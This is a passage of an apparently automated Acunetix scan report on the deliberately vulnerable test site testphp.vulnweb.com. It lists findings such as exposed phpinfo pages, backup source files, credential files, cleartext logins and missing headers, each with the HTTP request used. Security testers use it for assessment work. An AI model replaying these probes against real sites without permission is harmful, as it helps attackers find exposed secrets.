User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

PHP session.use_only_cookies disabled (verified)	
Affected item	/secured/phpinfo.php
Affected parameter	
Request	

```
GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

PHPinfo page (verified)	
Affected item	/secured/phpinfo.php
Affected parameter	
Request	

```
GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

PHPinfo page found	
Affected item	/secured/phpinfo.php
Affected parameter	
Request	

```
GET /secured/phpinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Source code disclosure	
Affected item	/index.bak
Affected parameter	
Request	

```
GET /index.bak HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Source code disclosure	
Affected item	/pictures/wp-config.bak
Affected parameter	

Request

```
GET /pictures/wp-config.bak HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

User credentials are sent in clear text	
Affected item	/login.php
Affected parameter	loginform

Request

```
GET /login.php HTTP/1.1

Host: testphp.vulnweb.com

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

User credentials are sent in clear text	
Affected item	/signup.php
Affected parameter	form1

Request

```
GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

WS_FTP log file found (verified)	
Affected item	/pictures/WS_FTP.LOG
Affected parameter	
Request	

```
GET /pictures/WS_FTP.LOG HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Clickjacking: X-Frame-Options header missing	
Affected item	Web Server
Affected parameter	
Request	

```
GET / HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Cookie(s) without HttpOnly flag set (verified)	
Affected item	Web Server
Affected parameter	
Request	

```
POST /userinfo.php HTTP/1.1

Host: testphp.vulnweb.com

Content-Length: 20

Pragma: no-cache

Cache-Control: no-cache

Origin: http://testphp.vulnweb.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/login.php

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0



uname=test&pass=test
```

Cookie(s) without Secure flag set (verified)	
Affected item	Web Server
Affected parameter	
Request	

```
POST /userinfo.php HTTP/1.1

Host: testphp.vulnweb.com

Content-Length: 20

Pragma: no-cache

Cache-Control: no-cache

Origin: http://testphp.vulnweb.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/login.php

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0



uname=test&pass=test
```

Hidden form input named price was found	
Affected item	/product.php
Affected parameter	f_addcart
Request	

```
GET /product.php?pic=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

MySQL username disclosure	
Affected item	/Connections/DB_Connection.php
Affected parameter	
Request	

```
GET /Connections/DB_Connection.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

MySQL username disclosure	
Affected item	/secured/database_connect.php
Affected parameter	

Request

```
GET /secured/database_connect.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Possible sensitive files	
Affected item	/hpp/test.php
Affected parameter	

Request

```
GET /hpp/test.php HTTP/1.1

Accept: acunetix/wvs

Cookie: login=test%2Ftest

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Possible virtual host found	
Affected item	Web Server
Affected parameter	
Request	

Unencrypted connection (verified)	
Affected item	Web Server

Affected parameter	
Request	

```
GET / HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Content Security Policy (CSP) not implemented	
Affected item	Web Server
Affected parameter	
Request	

```
GET / HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found

Affected item	Web Server
Affected parameter	

Request

```
GET / HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found	
Affected item	Web Server
Affected parameter	

Request

```
GET / HTTP/1.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found	
Affected item	/404.php
Affected parameter	

Request

```
GET /404.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found	
Affected item	/artists.php
Affected parameter	
Request	

```
GET /artists.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found	
Affected item	/cart.php
Affected parameter	

Request

```
GET /cart.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found	
Affected item	/categories.php
Affected parameter	

Request

```
GET /categories.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found	
Affected item	/disclaimer.php

Affected parameter	

Request

```
GET /disclaimer.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found

Affected item	/guestbook.php
Affected parameter	

Request

```
GET /guestbook.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found

Affected item	/index.bak
Affected parameter	

Request

```
GET /index.bak HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found	
Affected item	/index.php
Affected parameter	

Request

```
GET /index.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found	
Affected item	/listproducts.php
Affected parameter	
Request	

```
GET /listproducts.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found	
Affected item	/login.php
Affected parameter	
Request	

```
GET /login.php HTTP/1.1

Host: testphp.vulnweb.com

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

Email address found	
Affected item	/product.php
Affected parameter	

Request

```
GET /product.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found	
Affected item	/search.php
Affected parameter	
Request	

```
GET /search.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found	
Affected item	/signup.php
Affected parameter	
Request	

```
GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found	
Affected item	/Templates/main_dynamic_template.dwt.php
Affected parameter	

Request

```
GET /Templates/main_dynamic_template.dwt.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Email address found	
Affected item	/userinfo.php
Affected parameter	

Request

```
GET /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Microsoft Office possible sensitive information	
Affected item	/secured/office.htm
Affected parameter	

Request

```
GET /secured/office.htm HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Password type input with auto-complete enabled	
Affected item	Web Server

Affected parameter	form1
Request	

```
GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Password type input with auto-complete enabled	
Affected item	Web Server
Affected parameter	loginform
Request	

```
GET /login.php HTTP/1.1

Host: testphp.vulnweb.com

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

Possible internal IP address disclosure	
Affected item	/404.php
Affected parameter	

Request

```
GET /404.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Possible internal IP address disclosure	
Affected item	/pictures/ipaddresses.txt
Affected parameter	
Request	

```
GET /pictures/ipaddresses.txt HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Possible internal IP address disclosure	
Affected item	/secured/phpinfo.php
Affected parameter	
Request	

```
GET /secured/phpinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Possible server path disclosure (Unix)	
Affected item	/pictures/path-disclosure-unix.html
Affected parameter	

Request

```
GET /pictures/path-disclosure-unix.html HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Possible server path disclosure (Unix)	
Affected item	/secured/phpinfo.php
Affected parameter	

Request

```
GET /secured/phpinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Possible username or password disclosure	
Affected item	/pictures/credentials.txt
Affected parameter	

Request

```
GET /pictures/credentials.txt HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```